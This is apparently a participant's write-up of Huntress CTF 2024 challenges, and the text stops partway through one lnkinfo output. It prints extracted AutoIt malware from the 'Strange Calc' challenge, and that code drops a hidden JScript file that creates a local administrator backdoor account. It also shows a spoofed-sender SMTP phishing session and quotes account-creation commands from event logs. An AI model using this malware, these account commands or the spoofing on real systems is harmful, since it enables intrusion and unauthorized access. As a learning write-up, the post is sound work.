Post

Huntress CTF 2024

Huntress held its second CTF competition this year for Cybersecurity Awareness Month, which lasted throughout October. This was my second time participating. With 4,763 points, I achieved 182nd place out of 3,446 teams, with a total of 7,365 players — a result I'm quite proud of, considering that last year, with 1,850 points, I reached 419th place out of 4,212 teams.

Huntress CTF 2024

Read the Rules

Author: @JohnHammond

“Please follow the rules for this CTF!”

View the page source of the rules page and you can find the flag.

1
2
3
4
5
</p>
<!-- Thank you for reading the rules! Your flag is: -->
<!--   flag{90bc54705794a62015369fd8e86e557b}       -->
<h1 class="m-0">Legalese</h1>
<p>

Flag: flag{90bc54705794a62015369fd8e86e557b}

MatryoshkaQR

Author: @JohnHammond

Category: Warmups

Wow! This is a big QR code! I wonder what it says…?

You were given a file qrcode.png, which contained a fairly large QR code. I used an online tool to decode it. When decoded, the raw text from the QR code is as follows:

1
\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00'\x00\x00\x00'\x01\x00\x00\x00\x00\xa4\xd8l\x98\x00\x00\x00\xf5IDATx\x9c\x01\xea\x00\x15\xff\x01\xff\x00\x00\x00\xff\x00\x80\xa2\xd9\x1a\x02\x00\xbe\xe6T~\xfa\x04\xe4\xff\x0fh\x90\x02\x00\x1a\x7f\xdc\x00\x02\x00\xde\x01H\x00\x00\xbe\xd5\x95J\xfa\x04\xc2*\x15`\x08\x00\xff\x9d.\x9f\xfe\x04\xfd#P\xc3\x0b\x02\x97\x0e:\x07d\x04/vIg\x19\x00\xbb\xcd\xf3-\xd2\x02\xfb\xd6d\xb5\x88\x02E\xc7^\xdf\xfc\x00\x84\xfb\x13\xf3J\x02\xfd\x88a\xefD\x00\xc8t$\x90\n\x01\xc7\x01\xee1\xf7\x043Q\x17\x0cH\x01\xa5\x03\x1c6d\x02\r\xf0\xbfV$\x00\xcf\x13d3\x06\x01\xee\x08J\xf5E\x00\x9b\xee\n\xac\xfa\x01\xea|\xf2\xe86\x04\xb3\xc9\x84\xf7\xb4\x02\t\x90U%\x14\x00\xbf g\xa5\xee\x02\xfbH\xf1#4\x00\xff\xa1!;\x86\x02\x81VB\xdf\xfc\x04>\xb1s\x00\x10\x02\xe4>\xab-p\x00\xa2\xc6\xfe\xf6\xee\x04\x00\x05\xcbl5\x02\x1c\xfc\x85;\xd0\x02\xc2\xfb\xe6A\x00\x01\xff\x00\x00\x00\xff\xf9\xdb_g\xf4\x9a\xddH\x00\x00\x00\x00IEND\xaeB`\x82

You can tell from the \x89PNG\r\n\x1a\n portion that it is another PNG image in hex format.

I asked ChatGPT to create a quick and simple Python script to save the data as a PNG image.

1
2
3
4
5
6
7
8
# Your hex data (binary representation of PNG)
data = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00'\x00\x00\x00'\x01\x00\x00\x00\x00\xa4\xd8l\x98\x00\x00\x00\xf5IDATx\x9c\x01\xea\x00\x15\xff\x01\xff\x00\x00\x00\xff\x00\x80\xa2\xd9\x1a\x02\x00\xbe\xe6T~\xfa\x04\xe4\xff\x0fh\x90\x02\x00\x1a\x7f\xdc\x00\x02\x00\xde\x01H\x00\x00\xbe\xd5\x95J\xfa\x04\xc2*\x15`\x08\x00\xff\x9d.\x9f\xfe\x04\xfd#P\xc3\x0b\x02\x97\x0e:\x07d\x04/vIg\x19\x00\xbb\xcd\xf3-\xd2\x02\xfb\xd6d\xb5\x88\x02E\xc7^\xdf\xfc\x00\x84\xfb\x13\xf3J\x02\xfd\x88a\xefD\x00\xc8t$\x90\n\x01\xc7\x01\xee1\xf7\x043Q\x17\x0cH\x01\xa5\x03\x1c6d\x02\r\xf0\xbfV$\x00\xcf\x13d3\x06\x01\xee\x08J\xf5E\x00\x9b\xee\n\xac\xfa\x01\xea|\xf2\xe86\x04\xb3\xc9\x84\xf7\xb4\x02\t\x90U%\x14\x00\xbf g\xa5\xee\x02\xfbH\xf1#4\x00\xff\xa1!;\x86\x02\x81VB\xdf\xfc\x04>\xb1s\x00\x10\x02\xe4>\xab-p\x00\xa2\xc6\xfe\xf6\xee\x04\x00\x05\xcbl5\x02\x1c\xfc\x85;\xd0\x02\xc2\xfb\xe6A\x00\x01\xff\x00\x00\x00\xff\xf9\xdb_g\xf4\x9a\xddH\x00\x00\x00\x00IEND\xaeB`\x82"

# Save the binary data to a PNG file
with open('output.png', 'wb') as f:
    f.write(data)

print("File saved as output.png")

I then took the output.png file, uploaded it again to the online QR reader, and the information in the QR code revealed the flag.

Flag: flag{01c6e24c48f48856ee3adcca00f86e9b}

Too Many Bits

Author: @JohnHammond

Category: Warmups

What do all these ones and zero’s mean!?! We are in the Warmups category after all…

From the description, it was obvious that the data was in binary format. I pasted it into CyberChef and used the “Magic” function to decode it.

1
01100110 01101100 01100001 01100111 01111011 01100100 00110000 00110001 00110100 00110111 00110001 00110111 00110000 00110010 01100001 00110001 00110000 00110001 00110011 00110100 01100011 01100100 01100001 01100100 00110001 01100100 01100100 01100100 01100101 00110000 00110110 00110110 00110111 00111000 01100110 00110010 01100110 01111101

The output from Cyberchef is the flag.

Flag: flag{d01471702a10134cdad1ddde06678f2f}

Base64by32

Author: @JohnHammond

Category: Scripting

This is a dumb challenge. I’m sorry.

For this challenge, you are provided with a file named base64by32.zip. When you unzip the file, you get another file that contains a lot of text.

1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ wc base64by32
  8524   8524 656340 base64by32

From the name of the challenge, I figured out that I needed to decode the file 32 times using Base64. I asked ChatGPT to create a quick Python script to automate the process. I placed the script in the same directory as the file and ran it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64

def decode_base64_32_times(input_file, output_file):
    # Read the encoded content from the input file
    with open(input_file, 'rb') as f:
        encoded_content = f.read()

    # Decode the content 32 times
    for _ in range(32):
        encoded_content = base64.b64decode(encoded_content)

    # Write the final decoded content to the output file
    with open(output_file, 'wb') as f:
        f.write(encoded_content)

    print(f"Decoded content written to {output_file}")

# Example usage
input_file = 'base64by32'  # Path to the Base64 encoded file
output_file = 'decoded_file.txt'  # Path to the file where decoded data will be saved
decode_base64_32_times(input_file, output_file)

The output file contained the flag.

Flag: flag{8b3980f3d33f2ad2f531f5365d0e3970}

Strange Calc

Author: @JohnHammond

Category: Malware

I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??

For this challenge, we were provided with a calc.exe file. Since I was in the malware category, I started by sending the file to Any.Run to observe its behavior. Under Behavior Activities, it stated that “The process uses AutoIt,” which prompted me to research AutoIt and its functionality. From the findings in Any.Run, I suspected there was some AutoIt code hidden within the calc.exe file.

So, I used AutoIt-Ripper to extract the AutoIt code from the calc.exe file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
; <AUT2EXE VERSION: 3.2.4.9>
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: C:\Users\johnh\Desktop\Desktop\otto_calculator.au3>
; ----------------------------------------------------------------------------
#NoTrayIcon
#Region
#AutoIt3Wrapper_Change2CUI=y
#EndRegion
If Not IsAdmin() Then
    MsgBox(16, "Error", "You must have administrator privileges.")
    Exit
EndIf
Local $a = "I0B+XmNRTUFBQT09VyF4XkRrS3hQbWAoYgk3bC5QMSdFRUJOJyggL2FWa0RjRS0JSippV1cuYzdsLlB/eCFwK0AhW2NWK1VMRHRJKzNRKgktbUQsMCc5JH9EUk0rMlZtbW5jSjcta1F1Jy9fZiZMfkVCKmlyMGNXY2tVTn9hcjZgRTh/b2tVRSoneCdaay0wIGJ4OSs2fTB2RSsJTkUjeyd4VC11MHt4J3JKIzFHVVlieCErSVxDLixveGA2IG00bC4vS04rKU92IWJPMisqW38yaTZXRHZcbS5QNCdxaTRAIVcgXit4VE90cHRfeypiCWIwdnRRJkAqeDZScysJTFk0Izguf2wzSS1tRH5re2M2Ul40bE1aVzkrek9gNCNSJnkjJ38yfkx7YzBjbXRtLi9XOSt6WWN0UXEqT2YgKid2Mn5WeHYwUl40bUQvVzluelljNF95I08yICondjJ+cyd2MCBeNGxEO0dOf2JZdjRRJipPMiBiW39mcG1RJ1VPRGJ4TCA2RFdoLzRsLlpLW39gY2JAIUAhICMtYE5AKkAqVyNiaWIwYzQzIEAhNiBWf3hvRDRSRiptMydqWS5yCW8gME1HOjt0Qy47V05uY3ZgJVs4WCpAIUAhVyMtYDNAKkAqeWIjcGtXYDRfZkAhNlJWf1VvRHRPOGJeX3s/RERyeEwgNkRHOjs0bE1aR1t/YGBjVkwmYkAhQCF/KnVzKjgpRCtERU1VUDFSZEUoL08uYnhvdlR+VCM4N0MuUHMncjRub3JVLHYqYyxSLQlNMW81YiwJSklSZmAiMXdgXUJ2dWIsO15xUiZ7MlMuT2YwL3YoLFtAIShjJiJ6Un8hSX5xS00tVXwneG54OUVpN2wufgknbGNoKmktbE1+Sycscnh/WVAhL38uUGRXXmxeYltoYnhra09EbVlXTX5FXwlfclAmbFtbcn5FeH9PUF5XXkNeb0RHO2FQQ05zcglrZEREbVlXTS8sSlcxbHNiOTpyVWIvWU1DWUtEUEpDW05yfnJtQ1ZeIH82bkpZSVxtRH4ye3grQX56bU9rN25vcjhOKzFZYEV/VV5EYndPUlV0bnNeQiNwV1dNYFxtLn47eyFwO0AhVyBzf3hMWTRSRnA7UVEqCXcgXSF4Y1ddNVl+VEIwbVYvfyMpMlIiRVVgSyQrREJGfjZDVmsrI3A0UkFCQUE9PV4jfkA="
Local $b = x($a)
Local $c = r(4) & r(2) & r(3) & r(1) & ".jse"
Func r($aa)
    Local $zz = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    Local $s = ""
    For $i = 1 To $aa
        $s &= StringMid($zz, Random(1, StringLen($zz), 1), 1)
    Next
    Return $s
EndFunc
Local $d = FileOpen($c, 2)
If $d = -1 Then
    MsgBox(16, "Error", "Failed to open the calculator.")
    Exit
EndIf
FileWrite($d, $b)
FileClose($d)
FileSetAttrib($c, "+H")
FileSetAttrib($c, "+S")
Func x($e)
    Local $f = DllStructCreate("dword")
    DllCall("crypt32.dll", "int", "CryptStringToBinaryA", _
        "str", $e, _
        "dword", StringLen($e), _
        "dword", 1, _
        "ptr", 0, _
        "ptr", DllStructGetPtr($f), _
        "ptr", 0, _
        "ptr", 0)
    Local $g = DllStructCreate("byte[" & DllStructGetData($f, 1) & "]")
    DllCall("crypt32.dll", "int", "CryptStringToBinaryA", _
        "str", $e, _
        "dword", StringLen($e), _
        "dword", 1, _
        "ptr", DllStructGetPtr($g), _
        "ptr", DllStructGetPtr($f), _
        "ptr", 0, _
        "ptr", 0)
    Return BinaryToString(DllStructGetData($g, 1))
EndFunc
$o = ObjCreate("MSScriptControl.ScriptControl")
$o.Language = "JScript"
$p = "new ActiveXObject('WScript.Shell').Run('wscript.exe " & $c & "',1,false);"
$o.ExecuteStatement($p)
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Users\johnh\Desktop\Desktop\otto_calculator.au3>
; ----------------------------------------------------------------------------

The Local $a variable contains a Base64-encoded string that needs to be decoded. I used CyberChef, which resulted in:

1
#@~^cQMAAA==W!x^DkKxPm`(b	7l.P1'EEBN'( /aVkDcE-	J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*	-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+	NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b	b0vtQ&@*x6Rs+	LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r	o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-	M1o5b,	JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~	'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_	_rP&l[[r~Ex.OP^W^C^oDG;aPCNsr	kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*	w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

That is encoded using Microsoft Script, which CyberChef can also decode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function a(b) {
    var c = "",
        d = b.split("\n");
    for (var e = 0; e < d.length; e++) {
        var f = d[e].replace(/^\s+|\s+$/g, '');
        if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "") continue;
        var g = (f.charCodeAt(0) - 32) & 63;
        for (var h = 1; h < f.length; h += 4) {
            if (h + 3 >= f.length) break;
            var i = (f.charCodeAt(h) - 32) & 63,
                j = (f.charCodeAt(h + 1) - 32) & 63,
                k = (f.charCodeAt(h + 2) - 32) & 63,
                l = (f.charCodeAt(h + 3) - 32) & 63;
            c += String.fromCharCode((i << 2) | (j >> 4));
            if (h + 2 < f.length - 1) c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
            if (h + 3 < f.length - 1) c += String.fromCharCode(((k & 3) << 6) | l)
        }
    }
    return c.substring(0, g)
}
var m = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
var o = ["net user LocalAdministrator " + n + " /add", "net localgroup administrators LocalAdministrator /add", "calc.exe"];
var p = new ActiveXObject('WScript.Shell');
for (var q = 0; q < o.length - 1; q++) {
    p.Run(o[q], 0, false)
}
p.Run(o[2], 1, false);

I encountered some errors when running it in the Firefox console, but after consulting ChatGPT once again, I received the correct JavaScript that displayed the flag when executed in the console.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function a(b) {
    var c = "", d = b.split("\n");
    for (var e = 0; e < d.length; e++) {
        var f = d[e].replace(/^\s+|\s+$/g, '');
        if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "") continue;
        var g = (f.charCodeAt(0) - 32) & 63;
        for (var h = 1; h < f.length; h += 4) {
            if (h + 3 >= f.length) break;
            var i = (f.charCodeAt(h) - 32) & 63,
                j = (f.charCodeAt(h + 1) - 32) & 63,
                k = (f.charCodeAt(h + 2) - 32) & 63,
                l = (f.charCodeAt(h + 3) - 32) & 63;
            c += String.fromCharCode((i << 2) | (j >> 4));
            if (h + 2 < f.length - 1) c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
            if (h + 3 < f.length - 1) c += String.fromCharCode(((k & 3) << 6) | l);
        }
    }
    return c.substring(0, g);
}

// Use backticks for multi-line strings
var m = `begin 644 -
G9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*
end`;

// Call the function and log the result
var n = a(m);
console.log(n);

From the chat about this challenge during the event, I gathered that the trick was that the JavaScript was intentionally broken. This meant that I had to carefully examine the code myself to retrieve the flag.

Flag: flag{9922fb21aaf1757e3fdb28d7890a5d93}

No need for Brutus

Author: @aenygna

Category: Cryptography

A simple message for you to decipher: squiqhyiiycfbudeduutvehrhkjki

For this challenge, I used ChatGPT as a quick decoder. The name of the challenge is an obvious reference to Caesar ciphers.

1
2
3
4
5
6
7
I'll first attempt a Caesar cipher, where I shift the letters by various amounts to see if any meaningful text emerges. Let's go through each possible shift and see if any of them yield a readable message.
It looks like the shift of 16 yields the phrase:
"caesarissimplenoneedforbrutus"

This suggests that the cipher was encoded using a Caesar shift of 16, and the decoded message is:
"Caesar is simple, no need for Brutus."
Let me know if this was the message you were expecting

Afterwards, I used CyberChef to MD5 hash the string and then submitted the flag.

Flag: flag{c945bb2173e7da5a292527bbbc825d3f}

Red Phish Blue Phish

Author: Truman Kain (@truman.huntress), Adam Rice (@adam.huntress)

Category: Miscellaneous

You are to conduct a phishing excercise against our client, Pyrch Data. We’ve identified the Marketing Director, Sarah Williams (swilliams@pyrchdata.com), as a user susceptible to phishing. Are you able to successfully phish her? Remember your OSINT ;)

NOTE: The port that becomes accessible upon challenge deployment is an SMTP server. Please use this for sending any phishing emails. You will not receive an email/human response as the mail infrastructure for this challenge is emulated.

We were given an SMTP server to connect to. I used Telnet instead of Netcat, as it handled commands better without issuing errors with the SMTP server.

The description also mentioned that the challenge involved OSINT. When Googling Pyrch Data, I found the fake company website, which features a subpage listing all the employees. Out of the eight individuals listed, one of them holds the title “IT Security Manager.”

The idea behind this challenge is that by tricking people into believing you are from the IT Security department, you can gain access to sensitive information. To solve this challenge, you “just” need to send a message as Joe Davaren from Pyrch Data.

Below you can see the interaction I had with the SMTP server.

For the content of the message, I included some common phishing words.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
EHLO pyrchdata.com
250-red-phish-blue-phish-3294229a756fb288-7c779dd99-88fg2
250-SIZE 33554432
250-8BITMIME
250-SMTPUTF8
250 HELP
MAIL FROM:<jdaveren@pyrchdata.com>
250 OK
RCPT TO:<swilliams@pyrchdata.com>
250 OK
data
354 End data with <CR><LF>.<CR><LF>
Click Here Update Password Confirm Identity
.
250 OK. flag{54c6ec05ca19565754351b7fcf9c03b2}

Flag: flag{54c6ec05ca19565754351b7fcf9c03b2}

Cattle

Author: @JohnHammond

Category: Warmups

I know it’s an esoteric challenge for a Capture the Flag, but could you herd these cows for me?

I used a JavaScript Cow Interpreter for this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
OOO MoO MoO MoO MoO MoO MoO MoO MoO MMM moO MMM MMM moO MMM MOO MOo mOo MoO moO moo mOo
MMM moO MMM MMM moO MMM MOO MOo mOo MoO moO moo mOo MMM moO MMM MMM moO MMM MOO MOo mOo
MoO moO moo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO
MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM
moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO
MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO
MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO Moo mOo OOO
moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO
MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO
MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO
moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo
mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO
moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo
mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo
moO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo
MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo
mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO
MoO mOo moo moO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM
MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO
MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo
mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO
Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM
moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO
MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO
MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM
moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO
moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo
moO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO
MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo mOo
OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO
moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO
OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO
mOo moo moO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO
mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO
MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO
MMM MOO MOo moO MoO mOo moo moO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO
MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO Moo
mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO
moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM
moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO
MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo
mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO Moo mOo OOO moO OOO mOo
mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo
moO MoO mOo moo moO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo
moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO Moo
mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO
MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO
MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO
MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo
mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO Moo mOo OOO
moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO
MoO mOo moo moO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo
moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO Moo mOo OOO
moO OOO mOo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO
MMM MOO MOo moO MoO mOo moo moO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO MMM
MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO MoO
Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM
MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo mOo MMM moO moO
MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO MMM MOO MOo moO MoO mOo moo moO
MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO
MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo
OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo
moO MoO mOo moo moO MoO MoO MoO MoO Moo mOo OOO moO OOO mOo mOo MMM moO MMM MOO MOo moO
MoO mOo moo mOo mOo MMM moO moO MMM MOO MOo moO MoO mOo moo mOo mOo mOo MMM moO moO moO
MMM MOO MOo moO MoO mOo moo moO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo
mOo

Flag: flag{6cd6392eb609c6ae4c332ef6a321d9dd}

Nightmare on Hunt Street

Author: Austin Worline, Jose Oregon, and Adrian Garcia

Category: Forensics

DeeDee hears the screams, In the logs, a chilling trace— Freddy’s waiting near.

Nightmare on Hunt Street Part #1

What is the IP address of the host that the attacker used?

Answer: 10.1.1.42

Nightmare on Hunt Street Part #2

How many times was the compromised account brute-forced? Answer just the integer value.

I got Gigasheet to analyze it:

1
Yes, there are indications of brute-force attempts in the dataset. I found 32 failed logon attempts (EventID 4625) with a consistent failure reason, targeting a single username from a single IP address. This suggests a possible brute-force attack scenario. Would you like more detailed information or further analysis on this?

Answer: 32

Nightmare on Hunt Street Part #4

How many unique enumeration commands were run with net.exe? Answer just the integer value.

1
2
3
<Data Name="CommandLine">C:\Windows\system32\net1  share</Data>
<Data Name="CommandLine">C:\Windows\system32\net1  user susan_admin "SusanIsStrong123" /ADD</Data>
<Data Name="CommandLine">C:\Windows\system32\net1 localgroup administrators susan_admin /ADD</Data>

Answer: 3

Nightmare on Hunt Street Part #5

What password was successfully given to the user created?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}"/>
    <EventID>4688</EventID>
    <Version>2</Version>
    <Level>0</Level>
    <Task>13312</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8020000000000000</Keywords>
    <TimeCreated SystemTime="2024-09-24T21:11:53.838745300Z"/>
    <EventRecordID>234535</EventRecordID>
    <Correlation/>
    <Execution ProcessID="4" ThreadID="404"/>
    <Channel>Security</Channel>
    <Computer>EC2AMAZ-0TD157D</Computer>
    <Security/>
  </System>
  <EventData>
    <Data Name="SubjectUserSid">S-1-5-18</Data>
    <Data Name="SubjectUserName">EC2AMAZ-0TD157D$</Data>
    <Data Name="SubjectDomainName">WORKGROUP</Data>
    <Data Name="SubjectLogonId">0x00000000000003e7</Data>
    <Data Name="NewProcessId">0x0000000000000be8</Data>
    <Data Name="NewProcessName">C:\Windows\SysWOW64\net1.exe</Data>
    <Data Name="TokenElevationType">%%1936</Data>
    <Data Name="ProcessId">0x00000000000004dc</Data>
    <Data Name="CommandLine">C:\Windows\system32\net1 user susan_admin Susan123! /ADD</Data>
    <Data Name="TargetUserSid">S-1-0-0</Data>
    <Data Name="TargetUserName">-</Data>
    <Data Name="TargetDomainName">-</Data>
    <Data Name="TargetLogonId">0x0000000000000000</Data>
    <Data Name="ParentProcessName">C:\Windows\SysWOW64\net.exe</Data>
    <Data Name="MandatoryLabel">S-1-16-16384</Data>
  </EventData>
</Event>

Answer: Susan123!

Russian Roulette

Author: @JohnHammond

Category: Malware

My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :(

First, I started by analyzing the LNK file using lnkinfo, which extracts information from the link file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Downloads]
└─$ lnkinfo Windows\ PowerShell.lnk
lnkinfo 20181227

Windows Shortcut information:
        Contains a link target identifier
        Contains a relative path string
        Contains a working directory string
        Contains a command line arguments string

Link information:
